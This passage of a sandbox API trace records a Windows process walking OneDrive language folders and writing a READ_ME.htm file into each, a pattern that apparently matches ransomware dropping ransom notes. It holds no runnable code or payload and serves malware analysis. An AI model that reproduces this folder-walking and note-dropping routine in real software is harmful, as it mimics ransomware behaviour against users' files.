lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fa\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.442] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.442] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.442] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.442] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.443] SetErrorMode (uMode=0x0) returned 0x1 [0145.443] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa", lpFilePart=0x0) returned 0x45 [0145.443] SetErrorMode (uMode=0x1) returned 0x0 [0145.443] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fa\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.444] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.444] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.444] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.444] SetErrorMode (uMode=0x0) returned 0x1 [0145.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.444] SetErrorMode (uMode=0x1) returned 0x0 [0145.444] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fa\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.445] SetErrorMode (uMode=0x0) returned 0x1 [0145.445] GetFileType (hFile=0x1d0) returned 0x1 [0145.445] WriteFile (in: hFile=0x1d0, lpBuffer=0x286e880*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x286e880*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi", lpFilePart=0x0) returned 0x45 [0145.447] SetErrorMode (uMode=0x1) returned 0x0 [0145.447] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fi\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.466] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.466] SetErrorMode (uMode=0x0) returned 0x1 [0145.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi", lpFilePart=0x0) returned 0x45 [0145.466] SetErrorMode (uMode=0x1) returned 0x0 [0145.467] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fi\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.467] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.467] SetErrorMode (uMode=0x0) returned 0x1 [0145.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.467] SetErrorMode (uMode=0x1) returned 0x0 [0145.468] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fi\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fi\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.468] SetErrorMode (uMode=0x0) returned 0x1 [0145.468] GetFileType (hFile=0x1d0) returned 0x1 [0145.468] WriteFile (in: hFile=0x1d0, lpBuffer=0x2874e68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2874e68*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph", lpFilePart=0x0) returned 0x49 [0145.470] SetErrorMode (uMode=0x1) returned 0x0 [0145.470] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fil-ph\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.472] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.472] SetErrorMode (uMode=0x0) returned 0x1 [0145.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph", lpFilePart=0x0) returned 0x49 [0145.472] SetErrorMode (uMode=0x1) returned 0x0 [0145.472] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fil-ph\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.473] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.473] SetErrorMode (uMode=0x0) returned 0x1 [0145.473] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0145.473] SetErrorMode (uMode=0x1) returned 0x0 [0145.473] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fil-ph\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fil-ph\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.474] SetErrorMode (uMode=0x0) returned 0x1 [0145.474] GetFileType (hFile=0x1d0) returned 0x1 [0145.474] WriteFile (in: hFile=0x1d0, lpBuffer=0x287b4d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x287b4d0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr", lpFilePart=0x0) returned 0x45 [0145.476] SetErrorMode (uMode=0x1) returned 0x0 [0145.476] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fr\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.477] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.477] SetErrorMode (uMode=0x0) returned 0x1 [0145.477] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr", lpFilePart=0x0) returned 0x45 [0145.477] SetErrorMode (uMode=0x1) returned 0x0 [0145.477] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fr\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.478] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.478] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee1f6d50, 